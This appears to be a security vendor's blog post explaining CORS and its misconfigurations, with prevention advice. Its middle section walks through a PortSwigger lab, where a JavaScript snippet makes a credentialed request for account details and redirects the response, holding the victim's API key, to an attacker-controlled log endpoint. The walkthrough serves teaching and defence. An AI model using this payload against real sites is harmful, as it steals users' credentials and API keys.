CORS Vulnerabilities: How Attackers Exploit Cross-Origin Resource Sharing to Steal API Keys
CORS is commonly used to enable web pages to interact with APIs hosted on a different domain than the web page itself.
Medusa
9 mins
In the 2018 T-Mobile data breach, an attacker gained access to millions of T-Mobile customer records by exploiting a vulnerability in a third-party API that T-Mobile used. The vulnerability was caused by a misconfigured CORS policy that allowed any domain to access the API's resources. The attacker used this vulnerability to steal customer data, including names, dates of birth, Social Security numbers, and other sensitive information. T-Mobile later fixed the vulnerability and offered free credit monitoring to affected customers.
Definition and Overview of Cross-Origin Resource Sharing
Cross-origin resource sharing (CORS) is a security feature that allows a web page from one domain or origin to access resources from another domain. This is necessary because, by default, web browsers prohibit web pages from making requests to a different domain than the one that served the page. CORS is commonly used to enable web pages to interact with APIs hosted on a different domain than the web page itself.
To enable CORS, the server must include the following HTTP headers in the response to the browser's request:
The Access-Control-Allow-Origin
header specifies which domains are allowed to access the resources. If the header is set to "*", then any domain is allowed to access the resources. Otherwise, the header must be set to a specific domain or list of domains.
The Access-Control-Allow-Methods
header specifies which HTTP methods are allowed for the requested resource. The header must be set to a comma-separated list of HTTP method names, such as "GET, POST, PUT".
The Access-Control-Allow-Headers
header specifies which HTTP headers are allowed for the requested resource. The header must be set to a comma-separated list of HTTP header names, such as "Content-Type, Authorization".
It is important to carefully configure these headers to ensure that only trusted domains are allowed to access the resources and that only the necessary HTTP methods and headers are allowed for each resource.
Need for Cross-Origin Resource Sharing
An example of CORS in action would be a web page hosted on domain A making a request to an API hosted on domain B. Without CORS, this request would be blocked by the browser's same-origin policy. However, if the API on domain B has been configured to allow requests from domain A, then the request will be allowed to proceed and the web page will be able to access the API's resources.
CORS works by adding an extra HTTP header to the requests and responses that the browser sends and receives. This header, called "Access-Control-Allow-Origin", specifies which domains are allowed to access the resources. If the header is not present or does not include the domain making the request, then the request will be blocked by the browser.
"Explanation of the Same-Origin Policy: The same-origin policy is a security feature built into web browsers that prevent web pages from making requests to a different domain than the one that served the page. This is important because it prevents malicious websites from making requests to steal sensitive data or perform unauthorized actions on behalf of the user. For example, if you are logged into your bank account and visit a different website, the same-origin policy prevents that website from making requests to your bank's servers to steal your information or perform transactions on your behalf."
CORS Policies
CORS policies, or Cross-Origin Resource Sharing policies, are rules implemented by servers to control access to their resources from different domains. These policies specify which domains are allowed to make requests to the server and what actions they are allowed to perform.
CORS policies are important for web security because they help prevent unauthorized access to sensitive data or the execution of unauthorized actions on behalf of the user. By configuring CORS policies correctly, server administrators can ensure that only trusted domains can access their resources and that only necessary actions are allowed.
Some common CORS policy headers include:
Access-Control-Allow-Origin
: Specifies the domains that are allowed to access the resources. This header can be set to a specific domain or a wildcard "*" to allow any domain.Access-Control-Allow-Methods
: Specifies the HTTP methods (such as GET, POST, or PUT) that are allowed for the requested resource.Access-Control-Allow-Headers
: Specifies the HTTP headers that are allowed for the requested resource.
Problem of cross-origin requests
While CORS is a powerful tool for enabling web pages to access APIs hosted on different domains, it also introduces security risks if not implemented correctly. Attackers can exploit misconfigured CORS policies to bypass the browser's same-origin policy and steal sensitive information or perform unauthorized actions on behalf of the user. Therefore, it is important to carefully configure CORS policies to ensure that only trusted domains are allowed to access the resources.
Security Considerations and CORS
Types of Cross-Origin Resource-Sharing Vulnerabilities
1. Origin Header Manipulation
An attacker can manipulate the "Origin" header in a cross-domain request to bypass the CORS restrictions. By setting a custom "Origin" header, the attacker can make the server believe that the request is coming from an allowed domain, even if it is not. This can allow the attacker to access sensitive information from the server.
2. Cross-Domain Data Theft
An attacker can use a cross-domain request to steal sensitive data from a user. For example, if the user is logged in to a banking website and visits a malicious website, the attacker can use a cross-domain request to fetch the user's banking information from the banking website.
3. Cross-Domain Request Forgery
An attacker can use a cross-domain request to perform unauthorized actions on behalf of the user. For example, if the user is logged in to a social media website and visits a malicious website, the attacker can use a cross-domain request to post a message on behalf of the user on the social media website.
To prevent these vulnerabilities, it is important to implement secure CORS policies and validate all incoming requests on the server side.
If you are interested in a live practical demonstration, check out this Youtube video.
CORS Example with Practical Demonstration
For the demonstration, I’m going to use a lab from PortSwigger.
This lab has a blogging site that allows users to log in to the application. Upon logging in, the user is provided with an API key from a different domain.
The following is the request that was captured in BurpSuite when I clicked on "My Account" to see my details.
In the screenshot, you can find the "/accountDetails" path, which fetches user information. The response contains user details such as username, email, and API key.
The response includes a header called Access-Control-Allow-Credentials that is set to true. This is because, by default, browsers do not include credentials in cross-origin requests for security reasons. However, in some scenarios, you may legitimately need to send authenticated requests across different origins. In these cases, you can enable the inclusion of credentials in cross-origin requests by setting the "Access-Control-Allow-Credentials" header to "true" on the server side.
Injecting Header
We will add a header to the request with the value "origin: http://example.com/
and then send the request.
In the response, an additional header called "Access-Control-Allow-Origin" can be seen, which contains the value provided in the request origin header. This means that the input is being reflected in the response.
Since the application is reflecting arbitrary values in the Access-Control-Allow-Origin header, this simply means any domain can access any random domain resources.
How Hacker’s Exploit CORS vulnerability?
The hacker has created their own domain. They will then create a malicious request and send it to the vulnerable server. Since the server is not validating the domain, it will send the response back to the hacker's server. From there, the hacker can check the logs to see if there is any sensitive information, such as an API key.
This is what the malicious javascript request looks like:
The code is a JavaScript snippet that makes an XMLHttpRequest to a specified URL and retrieves the account details from that endpoint. Let's break down the code and understand its functionality:
var req = new XMLHttpRequest();
This line creates a new instance of the XMLHttpRequest object, which is commonly used to make HTTP requests from JavaScript.
req.onload = reqListener;
This sets the onload event handler for the XMLHttpRequest object. When the response is received from the server, the reqListener function will be executed.
req.open('get','[YOUR-LAB-ID.web-security-academy.net/accountDetails](<http://your-lab-id.web-security-academy.net/accountDetails>)',true);
This line initializes the XMLHttpRequest with the specified HTTP method ('GET') and URL ('YOUR-LAB-ID.web-security-academy.net/accountDetails'). The third parameter (true
) indicates that the request should be asynchronous.
req.withCredentials = true;
By setting withCredentials
to true
, the code enables sending credentials (such as cookies or HTTP authentication) with the XMLHttpRequest. This is only possible if the server allows it by setting the appropriate CORS headers.
The reqListener function is executed when the server's response is received. It redirects the user's browser to a new location by setting the location to '/log?key='+this.responseText. The this.responseText retrieves the response received from the server, and it's used as a query parameter in the redirect URL.
Basically, JavaScript is sending requests on behalf of another user. An attacker can simply send a web page link containing this malicious JavaScript to the victim. When the victim, who has an active session on the vulnerable server, clicks on the link, the request(fetching account details) is automatically sent to the vulnerable server. The response, containing sensitive information, is then redirected to the hacker's server logs.
The vulnerable server will process the request and will send a response to the hacker’s server.
From the above screenshot, we can see logs that contain sensitive information about the administrator user, including their API Key.
In the above screenshot, you can see the highlighted API key in the logs. Since it's encoded, I'll decode it using the Burp Decoder with the "Smart Decode" option.
We were able to successfully fetch another user's API key simply by sending them a link.
Access-Control-Allow-Origin response header and CORS
The Access-Control-Allow-Origin
response header is a part of the Cross-Origin Resource Sharing (CORS) mechanism. It is used by the server to specify which domains are allowed to access its resources.
This header is included in the server's response to the browser's request, and it determines whether the browser should allow the client-side JavaScript to access the response.
The value of the Access-Control-Allow-Origin
header can be set to "*", indicating that any domain is allowed to access the resources. Alternatively, it can be set to a specific domain or a list of domains that are allowed to access the resources.
The following is an example of an HTTP request that includes the implementation of the Access-Control-Allow-Origin
header:
In this example, the request is made to the /api/data
endpoint on the example.com
server. The Origin
header specifies the domain from which the request originates (http://example-domain.com
). The Access-Control-Request-Method
header specifies the HTTP method that will be used in the actual request. The Access-Control-Request-Headers
header specifies the additional headers that will be included in the actual request, such as the authorization
header.
The server's response will include the Access-Control-Allow-Origin
header to indicate which domains are allowed to access the resources. For example:
In this response, the Access-Control-Allow-Origin
header specifies that the http://example-domain.com
domain is allowed to access the resources. The Access-Control-Allow-Methods
header specifies that the GET
and POST
methods are allowed. The Access-Control-Allow-Headers
header specifies that the authorization
header is allowed.
By including these headers in the server's response, the server defines the CORS policy and controls which domains are allowed to access its resources.
CORS Prevention
To prevent cross-origin resource sharing (CORS) vulnerabilities, it is important to implement secure CORS policies and validate all incoming requests on the server side. Here are some best practices:
Configuration of Access-Control-Allow-Origin Header
To limit which domains can access the resources, configure the Access-Control-Allow-Origin
header. Instead of allowing all domains with the "*" wildcard, use a whitelist approach.
Usage of Access-Control-Allow-Credentials Header
Control whether credentials, such as cookies or HTTP authentication, can be included in cross-origin requests by utilizing the Access-Control-Allow-Credentials
header. Only allow authenticated requests from trusted domains.
Limitation of HTTP Methods with Access-Control-Allow-Methods Header
To restrict which HTTP methods are allowed for each resource, employ the Access-Control-Allow-Methods
header. Only permit the necessary methods for each resource.
Restriction of HTTP Headers with Access-Control-Allow-Headers Header
To limit which HTTP headers are allowed for each resource, utilize the Access-Control-Allow-Headers
header. Only allow the necessary headers for each resource.
Validation of Incoming Requests on the Server Side
Ensure that all incoming requests on the server side are coming from trusted domains and contain valid data. Validate them accordingly.
Encryption of Communication with HTTPS
To prevent eavesdropping and tampering, encrypt all communication between the client and server using HTTPS.
Keeping the CORS Policy Restrictive
Reduce the risk of vulnerabilities and limit the attack surface by maintaining a restrictive CORS policy.
In summary, awareness of CORS vulnerabilities is vital to ensuring robust API security. By taking preventive measures and staying informed, we can effectively safeguard our applications.
You can use Akto's test library to test your APIs for similar vulnerabilities. You can also customize these tests as per your custom use case using Akto's test editor.
Thank you for being a part of this blog.
Keep reading
API Security
3 minutes
What is API Discovery?
API Discovery helps identify, map, and manage APIs within an organization, ensuring security, performance, and seamless integration across systems.
API Security
5 minutes
Top 10 DAST Tools in 2024
DAST tools secure web apps by identifying vulnerabilities through automated security testing.
API Security
8 minutes
Security Information and Event Management (SIEM)
SIEM aggregates and analyzes security data across an organization to detect, monitor, and respond to potential threats in real time.
Experience enterprise-grade API Security solution